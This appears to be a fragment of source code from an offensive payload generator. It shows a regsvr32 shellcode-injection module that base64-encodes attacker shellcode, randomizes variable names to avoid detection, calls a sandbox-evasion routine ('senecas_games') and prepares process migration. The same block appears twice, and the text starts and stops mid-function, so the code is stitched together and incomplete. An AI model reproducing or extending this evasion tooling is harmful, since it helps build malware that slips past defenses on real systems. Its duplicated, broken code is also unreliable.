# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/shellcode_help.py
# class Shellcode:
#     def __init__(self, cli_obj):
#     def Reset(self):
#     def LoadModules(self):
#     def payload_selection_menu(self, showTitle=True):
#     def menu(self):
#     def generate(self, required_options=None):
# def cli_msf_shellcode_gen(command_line_args):


import base64
import os
from Tools.Bypass.bypass_common import bypass_helpers # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import gamemaker # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import shellcode_help # pylint: disable=E0611,E0401
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])
        Shellcode = base64.b64encode(
            bytes(Shellcode, 'latin-1')).decode('ascii')
        
        # randomize all our variables, yo
        x86 = bypass_helpers.randomString()
        # generate a random key
        key = bypass_helpers.randomString().lower()

        # figure out a sane way to generate two separate instances of shellcode within the framework
        # currently, only 32 bit payload shellcode will work
        
        payload_code, num_tabs_required = gamemaker.senecas_games(self)
        code = ""
        num_tabs = 0

        bytearrayName = bypass_helpers.randomString()
        className = "HelloWorld"
        processMigrate = "Print"
        processMigratex86 = bypass_helpers.randomString()
        processMigrateProcessPath = bypass_helpers.randomString()
        processMigrateShellcode = bypass_helpers.randomString()

# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/shellcode_help.py
# class Shellcode:
#     def __init__(self, cli_obj):
#     def Reset(self):
#     def LoadModules(self):
#     def payload_selection_menu(self, showTitle=True):
#     def menu(self):
#     def generate(self, required_options=None):
# def cli_msf_shellcode_gen(command_line_args):


# Path: Tools/Bypass/payloads/regsvr32/shellcode_inject/base64_migrate.py
import base64
import os
from Tools.Bypass.bypass_common import bypass_helpers # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import gamemaker # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import shellcode_help # pylint: disable=E0611,E0401

            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])
        Shellcode = base64.b64encode(
            bytes(Shellcode, 'latin-1')).decode('ascii')
        
        # randomize all our variables, yo
        x86 = bypass_helpers.randomString()
        # generate a random key
        key = bypass_helpers.randomString().lower()

        # figure out a sane way to generate two separate instances of shellcode within the framework
        # currently, only 32 bit payload shellcode will work
        
        payload_code, num_tabs_required = gamemaker.senecas_games(self)
        code = ""
        num_tabs = 0

        bytearrayName = bypass_helpers.randomString()
        className = "HelloWorld"
        processMigrate = "Print"
        processMigratex86 = bypass_helpers.randomString()
        processMigrateProcessPath = bypass_helpers.randomString()
        processMigrateShellcode = bypass_helpers.randomString()

        shellCode = bypass_helpers.randomString()